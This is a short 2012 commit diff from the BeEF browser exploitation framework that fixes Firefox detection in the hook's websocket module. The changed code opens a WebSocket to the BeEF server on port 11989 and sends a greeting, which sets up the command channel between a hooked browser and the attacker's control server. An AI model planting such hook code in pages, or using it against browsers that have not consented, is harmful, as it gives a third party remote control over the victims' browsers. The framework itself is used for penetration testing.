fixed issue with FF detectionon websockets

This commit is contained in:
antisnatchor
2012-04-07 13:48:10 +01:00
parent b08326ebcc
commit 296d0161c9

View File

@@ -27,10 +27,11 @@ beef.websocket = {
var webSocketServer=beef.net.host; /*beefHost*/
console.log(webSocketServer);
var webSocketPort=11989;
if(beef.browser.getBrowserName=="FF")
if(beef.browser.isFF()){
this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/");
else
}else{
this.socket = new WebSocket("ws://"+webSocketServer+":"+webSocketPort+"/");
}
/*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/
this.socket.send("Helo"+"myid00");